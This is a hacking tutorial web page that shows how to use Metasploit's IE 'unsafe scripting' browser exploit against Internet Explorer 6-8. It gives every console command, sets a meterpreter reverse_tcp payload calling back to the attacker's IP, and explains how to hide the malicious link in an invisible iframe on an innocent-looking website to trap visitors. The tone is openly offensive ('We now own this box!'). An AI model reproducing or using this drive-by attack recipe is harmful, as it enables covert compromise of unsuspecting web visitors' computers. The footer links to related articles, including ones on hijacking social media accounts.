Hack Like a Pro: How to Exploit IE8 to Get Root Access When People Visit Your Website « Null Byte :: WonderHowTo

All ofmy hacksup to this point have been operating system hacks. In other words, we have exploited a vulnerability usually in an operating system service (SMB,RPC, etc.) that all allow us to install a command shell or other code in the target system.As I have mentionednumerous timespreviously, the art of hacking is presently focused on attacking the client side rather than the server side. Server operating systems have become more secure, while clients are loaded with insecure software that can be easily exploited. So, as you would expect, the best hacks are now coming at the client side software.Now, I will begin to explore ways to hack the client side of the equation. Just as a background note, nearly all of these hacks I have shown you so far are buffer overflows. In other words, we find a variable in the system software that can be overflowed with too much information and jam our software behind it (kind of oversimplified, but you get the idea, I hope).Hacking IE8 for Root AccessIn this hack, we will exploit Microsoft's Internet Explorer 6, 7, and 8 on Windows XP, Vista, Windows 7 or Windows Server 2003 and 2008.When Windows 7 and Windows Server 2008 were released, the default browser was IE8, so unless the target has upgraded their browser, this vulnerable browser is still on their system and we can hack it. In our example, we will use IE 8 on Windows Vista, but it will work on any of the operating systems listed above with Internet Explorer 8.1 or earlier on it.So, let's get started. Fire up your Metasploit (click here for an intro to Metasploit) on Back Track 5 and let's get cooking!Step 1: Find the Appropriate ExploitLet's find the appropriate exploit by searching Metasploit for a Windows exploit that takes advantage of unsafe scripting. Type:msf> search type:exploit platform:windows unsafeAs you can see from the screenshot below, this search brought 15 exploits. The one we want is/exploit/windows/browser/ie_unsafe_scripting.Step 2: Select This ExploitNext tell Metasploit that this is the exploit we want to use. Type:msf> use /exploit/windows/browser/i.e._unsafe_scriptingStep 3: Select the PayloadThen load the payload, in this case,windows/meterpreter/reverse_tcp:msf> set PAYLOAD windows/meterpreter/reverse_tcpStep 4: Check Required OptionsNext, let's check to see what options this exploit requires:msf> show optionsWe can see from the output displayed above that the payload requires us to set local host (LHOST), or in other words, the IP address of our machine. In my case, it's 192.168.1.100.Step 5: Set Local HostWe need to tell Metasploit what our local host (LHOST) IP address is. Type:msf> set LHOST 192.168.1.100Because this is a client-side exploit, we don't need to set the RHOST as we need to manually attack the system by getting them to click on our malicious link.Step 6: Run the ExploitNow, let's run the exploit. Type:msf> exploit (ie_unsafe_scripting) > exploitAs you can see in the screenshot below, this exploit has generated a link (http://192.168.1.100:8080/HG6Kn71Nva ) that we will have to get our targets to load so we can exploit their browser. To do this, we'll add a little HTML to an innocent looking webpage.Step 7: Add the URL to an <IFRAME> TagIn order to get your target's browser to load your malicious URL, you can either send it to them directly, or embed it in an iframe on your perfectly innocent website. To do so, just add the following tag to your html anywhere inside the <body> element:<iframe src="http://192.168.1.100:8080/HG6Kn71Nva"></iframe>When the victim tries to load the page, nothing will be displayed. The browser will hang, but we will have activity at our msfconsole. When the victim navigates to the link it will open a active Meterpreter session that we are connected to. We now own this box!I will showing you more client-side hacks in future blogs, so follow me and we will occupy the web!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byamol195RelatedHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPNews:Linux Kernel Exploits Aren't Really an Android ProblemHow to Hack Like a Pro:Getting Started with MetasploitHow To:Hack Android Using Kali (Remotely)How To:Fix Your Hacked and Malware-Infested Website with GoogleHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7How To:The Easiest "One-Click" Root Method for Your Samsung Galaxy S3Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHow To:Perform Quick Actions with Custom Status Bar GesturesNews:Another Security Concern from OnePlus — Backdoor Root App Comes Preinstalled on Millions of PhonesHack Like a Pro:The Hacker MethodologyHow To:Find Exploits & Get Root with Linux Exploit SuggesterHack Like a Pro:Finding Potential SUID/SGID Vulnerabilities on Linux & Unix SystemsHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Community Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+Community Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHow To:Hack Mac OS X Lion PasswordsHack Logs and Linux Commands:What's Going On Here?How To:Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator ExploitCommunity Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:Sneak Past Web Filters and Proxy Blockers with Google TranslateGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingDrive-By Hacking:How to Root a Windows Box by Walking Past ItCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsHow To:Social Engineer Your Way Into an Amusement Park for FreeHow To:The Official Google+ Insider's Guide IndexCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsGoogle Dorking:AmIDoinItRite?Goodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsNews:The OdysseyCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker Training